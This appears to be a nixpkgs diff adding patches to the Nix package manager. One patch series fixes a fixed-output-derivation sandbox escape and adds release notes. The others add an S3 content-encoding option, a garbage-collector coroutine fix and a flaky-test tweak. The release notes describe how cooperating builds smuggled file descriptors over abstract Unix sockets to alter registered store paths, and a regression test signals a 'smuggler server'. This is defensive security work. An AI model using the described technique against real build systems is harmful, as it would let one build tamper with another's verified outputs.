+From 8c27eb6c1bc490c9d2f3c7c1dedb1ca3c8e00759 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
+ <theophane.hufschmitt@tweag.io>
+Date: Tue, 13 Feb 2024 08:28:02 +0100
+Subject: [PATCH 2/4] Copy the output of fixed-output derivations before
+ registering them
+
+It is possible to exfiltrate a file descriptor out of the build sandbox
+of FODs, and use it to modify the store path after it has been
+registered.
+To avoid that issue, don't register the output of the build, but a copy
+of it (that will be free of any leaked file descriptor).
+---
+ src/libstore/build.cc | 11 +++++++++--
+ 1 file changed, 9 insertions(+), 2 deletions(-)
+
+diff --git a/src/libstore/build.cc b/src/libstore/build.cc
+index d3a712c1a..3fb827a15 100644
+--- a/src/libstore/build.cc
++++ b/src/libstore/build.cc
+@@ -3286,10 +3286,17 @@ void DerivationGoal::registerOutputs()
+             throw BuildError(format("suspicious ownership or permission on '%1%'; rejecting this build output") % path);
+ #endif
+ 
+-        /* Apply hash rewriting if necessary. */
++        /* Apply hash rewriting if necessary.
++         *
++         * For FODs, we always do the dump-and-restore dance regardless to make
++         * sure that there's no stale file descriptor pointing to the output
++         * of the path.
++         * */
+         bool rewritten = false;
+-        if (!outputRewrites.empty()) {
++        if (fixedOutput || !outputRewrites.empty()) {
++            if (!outputRewrites.empty()) {
+             printError(format("warning: rewriting hashes in '%1%'; cross fingers") % path);
++            }
+ 
+             /* Canonicalise first.  This ensures that the path we're
+                rewriting doesn't contain a hard link to /etc/shadow or
+
+From 2064277b0566c361339d55fbbf46edbc2519f3b3 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
+ <7226587+thufschmitt@users.noreply.github.com>
+Date: Wed, 21 Feb 2024 17:32:36 +0100
+Subject: [PATCH 3/4] Fix a typo in a test comment
+
+Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
+---
+ tests/nixos/ca-fd-leak/default.nix | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
+index c252caa4d..2fd5ca2d6 100644
+--- a/tests/nixos/ca-fd-leak/default.nix
++++ b/tests/nixos/ca-fd-leak/default.nix
+@@ -83,7 +83,7 @@ makeTest {
+     # Tell the smuggler server that we're done
+     machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
+ 
+-    # Check that the file was modified
++    # Check that the file was not modified
+     machine.succeed(r"""
+       cat ./result
+       test "$(cat ./result)" = "hello, world"
+
+From 8604f6d32976fbdf84e46f75cbfa2446209b8a6b Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
+ <theophane.hufschmitt@tweag.io>
+Date: Fri, 1 Mar 2024 09:31:05 +0100
+Subject: [PATCH 4/4] Add release notes
+
+---
+ doc/manual/rl-next/fod-sandbox-escape.md | 14 ++++++++++++++
+ 1 file changed, 14 insertions(+)
+ create mode 100644 doc/manual/rl-next/fod-sandbox-escape.md
+
+diff --git a/doc/manual/rl-next/fod-sandbox-escape.md b/doc/manual/rl-next/fod-sandbox-escape.md
+new file mode 100644
+index 000000000..ed451711e
+--- /dev/null
++++ b/doc/manual/rl-next/fod-sandbox-escape.md
+@@ -0,0 +1,14 @@
++---
++synopsis: Fix a FOD sandbox escape
++issues:
++prs:
++---
++
++Cooperating Nix derivations could send file descriptors to files in the Nix
++store to each other via Unix domain sockets in the abstract namespace. This
++allowed one derivation to modify the output of the other derivation, after Nix
++has registered the path as "valid" and immutable in the Nix database.
++In particular, this allowed the output of fixed-output derivations to be
++modified from their expected content.
++
++This isn't the case any more.
diff --git a/nixpkgs/pkgs/tools/package-management/nix/patches/aws-sdk-cpp-TransferManager-ContentEncoding.patch b/nixpkgs/pkgs/tools/package-management/nix/patches/aws-sdk-cpp-TransferManager-ContentEncoding.patch
new file mode 100644
index 000000000000..59cc305a60bc
--- /dev/null
+++ b/nixpkgs/pkgs/tools/package-management/nix/patches/aws-sdk-cpp-TransferManager-ContentEncoding.patch
@@ -0,0 +1,127 @@
+From 7d58e303159b2fb343af9a1ec4512238efa147c7 Mon Sep 17 00:00:00 2001
+From: Eelco Dolstra <edolstra@gmail.com>
+Date: Mon, 6 Aug 2018 17:15:04 +0200
+Subject: [PATCH] TransferManager: Allow setting a content-encoding for S3 uploads
+
+--- a/aws-cpp-sdk-transfer/include/aws/transfer/TransferHandle.h
++++ b/aws-cpp-sdk-transfer/include/aws/transfer/TransferHandle.h
+@@ -297,6 +297,14 @@ namespace Aws
+              * Content type of the object being transferred
+              */
+             inline void SetContentType(const Aws::String& value) { std::lock_guard<std::mutex> locker(m_getterSetterLock); m_contentType = value; }
++            /**
++             * Content encoding of the object being transferred
++             */
++            inline const Aws::String GetContentEncoding() const { std::lock_guard<std::mutex> locker(m_getterSetterLock); return m_contentEncoding; }
++            /**
++             * Content type of the object being transferred
++             */
++            inline void SetContentEncoding(const Aws::String& value) { std::lock_guard<std::mutex> locker(m_getterSetterLock); m_contentEncoding = value; }
+             /**
+              * In case of an upload, this is the metadata that was placed on the object when it was uploaded.
+              * In the case of a download, this is the object metadata from the GetObject operation.
+@@ -383,6 +391,7 @@ namespace Aws
+             Aws::String m_key;
+             Aws::String m_fileName;
+             Aws::String m_contentType;
++            Aws::String m_contentEncoding;
+             Aws::String m_versionId;
+             Aws::Map<Aws::String, Aws::String> m_metadata;
+             TransferStatus m_status;
+--- a/aws-cpp-sdk-transfer/include/aws/transfer/TransferManager.h
++++ b/aws-cpp-sdk-transfer/include/aws/transfer/TransferManager.h
+@@ -154,7 +154,8 @@ namespace Aws
+                                                        const Aws::String& keyName,
+                                                        const Aws::String& contentType, 
+                                                        const Aws::Map<Aws::String, Aws::String>& metadata,
+-                                                       const std::shared_ptr<const Aws::Client::AsyncCallerContext>& context = nullptr);
++                                                       const std::shared_ptr<const Aws::Client::AsyncCallerContext>& context = nullptr,
++                                                       const Aws::String& contentEncoding = "");
+ 
+             /**
+              * Downloads the contents of bucketName/keyName in S3 to the file specified by writeToFile. This will perform a GetObject operation.
+@@ -246,7 +247,8 @@ namespace Aws
+                                                                    const Aws::Map<Aws::String,
+                                                                    Aws::String>& metadata,
+                                                                    const std::shared_ptr<const Aws::Client::AsyncCallerContext>& context,
+-                                                                   const Aws::String& fileName = "");
++                                                                   const Aws::String& fileName = "",
++                                                                   const Aws::String& contentEncoding = "");
+ 
+             /**
+              * Submits the actual task to task schecduler
+@@ -262,7 +264,8 @@ namespace Aws
+                                                          const Aws::String& keyName,
+                                                          const Aws::String& contentType,
+                                                          const Aws::Map<Aws::String, Aws::String>& metadata,
+-                                                         const std::shared_ptr<const Aws::Client::AsyncCallerContext>& context);
++                                                         const std::shared_ptr<const Aws::Client::AsyncCallerContext>& context,
++                                                         const Aws::String& contentEncoding);
+ 
+             /**
+              * Uploads the contents of file, to bucketName/keyName in S3. contentType and metadata will be added to the object. If the object is larger than the configured bufferSize,
+--- a/aws-cpp-sdk-transfer/source/transfer/TransferManager.cpp
++++ b/aws-cpp-sdk-transfer/source/transfer/TransferManager.cpp
+@@ -87,9 +87,10 @@ namespace Aws
+                                                                     const Aws::String& bucketName,
+                                                                     const Aws::String& keyName, const Aws::String& contentType,
+                                                                     const Aws::Map<Aws::String, Aws::String>& metadata,
+-                                                                    const std::shared_ptr<const Aws::Client::AsyncCallerContext>& context)
++                                                                    const std::shared_ptr<const Aws::Client::AsyncCallerContext>& context,
++                                                                    const Aws::String& contentEncoding)
+         {
+-            return this->DoUploadFile(fileStream, bucketName, keyName, contentType, metadata, context);
++            return this->DoUploadFile(fileStream, bucketName, keyName, contentType, metadata, context, contentEncoding);
+         }
+ 
+         std::shared_ptr<TransferHandle> TransferManager::DownloadFile(const Aws::String& bucketName,
+@@ -286,6 +287,9 @@ namespace Aws
+                 createMultipartRequest.WithKey(handle->GetKey());
+                 createMultipartRequest.WithMetadata(handle->GetMetadata());
+ 
++                if (handle->GetContentEncoding() != "")
++                    createMultipartRequest.WithContentEncoding(handle->GetContentEncoding());
++
+                 auto createMultipartResponse = m_transferConfig.s3Client->CreateMultipartUpload(createMultipartRequest);
+                 if (createMultipartResponse.IsSuccess())
+                 {
+@@ -441,6 +445,9 @@ namespace Aws
+ 
+             putObjectRequest.SetContentType(handle->GetContentType());
+ 
++            if (handle->GetContentEncoding() != "")
++                putObjectRequest.SetContentEncoding(handle->GetContentEncoding());
++
+             auto buffer = m_bufferManager.Acquire();
+ 
+             auto lengthToWrite = (std::min)(m_transferConfig.bufferSize, handle->GetBytesTotalSize());
+@@ -1140,12 +1147,15 @@ namespace Aws
+                                                                                 const Aws::String& contentType,
+                                                                                 const Aws::Map<Aws::String, Aws::String>& metadata,
+                                                                                 const std::shared_ptr<const Aws::Client::AsyncCallerContext>& context,
+-                                                                                const Aws::String& fileName)
++                                                                                const Aws::String& fileName,
++                                                                                const Aws::String& contentEncoding)
+         {
+             auto handle = Aws::MakeShared<TransferHandle>(CLASS_TAG, bucketName, keyName, 0, fileName);
+             handle->SetContentType(contentType);
+             handle->SetMetadata(metadata);
+             handle->SetContext(context);
++            if (contentEncoding != "")
++                handle->SetContentEncoding(contentEncoding);
+ 
+             if (!fileStream->good())
+             {
+@@ -1213,9 +1223,10 @@ namespace Aws
+                                                                       const Aws::String& keyName,
+                                                                       const Aws::String& contentType,
+                                                                       const Aws::Map<Aws::String, Aws::String>& metadata,
+-                                                                      const std::shared_ptr<const Aws::Client::AsyncCallerContext>& context)
++                                                                      const std::shared_ptr<const Aws::Client::AsyncCallerContext>& context,
++                                                                      const Aws::String& contentEncoding)
+         {
+-            auto handle = CreateUploadFileHandle(fileStream.get(), bucketName, keyName, contentType, metadata, context);
++            auto handle = CreateUploadFileHandle(fileStream.get(), bucketName, keyName, contentType, metadata, context, "", contentEncoding);
+             return SubmitUpload(handle, fileStream);
+         }
+ 
diff --git a/nixpkgs/pkgs/tools/package-management/nix/patches/boehmgc-coroutine-sp-fallback.patch b/nixpkgs/pkgs/tools/package-management/nix/patches/boehmgc-coroutine-sp-fallback.patch
new file mode 100644
index 000000000000..578bd325d56b
--- /dev/null
+++ b/nixpkgs/pkgs/tools/package-management/nix/patches/boehmgc-coroutine-sp-fallback.patch
@@ -0,0 +1,45 @@
+diff --git a/pthread_stop_world.c b/pthread_stop_world.c
+index 2b45489..0e6d8ef 100644
+--- a/pthread_stop_world.c
++++ b/pthread_stop_world.c
+@@ -776,6 +776,8 @@ STATIC void GC_restart_handler(int sig)
+ /* world is stopped.  Should not fail if it isn't.                      */
+ GC_INNER void GC_push_all_stacks(void)
+ {
++    size_t stack_limit;
++    pthread_attr_t pattr;
+     GC_bool found_me = FALSE;
+     size_t nthreads = 0;
+     int i;
+@@ -868,6 +870,31 @@ GC_INNER void GC_push_all_stacks(void)
+             hi = p->altstack + p->altstack_size;
+ #         endif
+           /* FIXME: Need to scan the normal stack too, but how ? */
++        } else {
++          if (pthread_getattr_np(p->id, &pattr)) {
++            ABORT("GC_push_all_stacks: pthread_getattr_np failed!");
++          }
++          if (pthread_attr_getstacksize(&pattr, &stack_limit)) {
++            ABORT("GC_push_all_stacks: pthread_attr_getstacksize failed!");
++          }
++          if (pthread_attr_destroy(&pattr)) {
++            ABORT("GC_push_all_stacks: pthread_attr_destroy failed!");
++          }
++          // When a thread goes into a coroutine, we lose its original sp until
++          // control flow returns to the thread.
++          // While in the coroutine, the sp points outside the thread stack,
++          // so we can detect this and push the entire thread stack instead,
++          // as an approximation.
++          // We assume that the coroutine has similarly added its entire stack.
++          // This could be made accurate by cooperating with the application
++          // via new functions and/or callbacks.
++          #ifndef STACK_GROWS_UP
++            if (lo >= hi || lo < hi - stack_limit) { // sp outside stack
++              lo = hi - stack_limit;
++            }
++          #else
++          #error "STACK_GROWS_UP not supported in boost_coroutine2 (as of june 2021), so we don't support it in Nix."
++          #endif
+         }
+ #       ifdef STACKPTR_CORRECTOR_AVAILABLE
+           if (GC_sp_corrector != 0)
diff --git a/nixpkgs/pkgs/tools/package-management/nix/patches/flaky-tests.patch b/nixpkgs/pkgs/tools/package-management/nix/patches/flaky-tests.patch
new file mode 100644
index 000000000000..3684b09f6ffa
--- /dev/null
+++ b/nixpkgs/pkgs/tools/package-management/nix/patches/flaky-tests.patch
@@ -0,0 +1,12 @@
+diff --git a/mk/run_test.sh b/mk/run_test.sh
+index 7e95df2ac..58420c317 100755
+--- a/mk/run_test.sh
++++ b/mk/run_test.sh
+@@ -27,7 +27,6 @@ run_test "$1"
+ # appear randomly without anyone knowing why.
+ # See https://github.com/NixOS/nix/issues/3605 for more info
+ if [[ $status -ne 0 && $status -ne 99 && \
+-    "$(uname)" == "Darwin" && \
+     "$log" =~ "unexpected EOF reading a line" \
+ ]]; then
+     echo "$post_run_msg [${yellow}FAIL$normal] (possibly flaky, so will be retried)"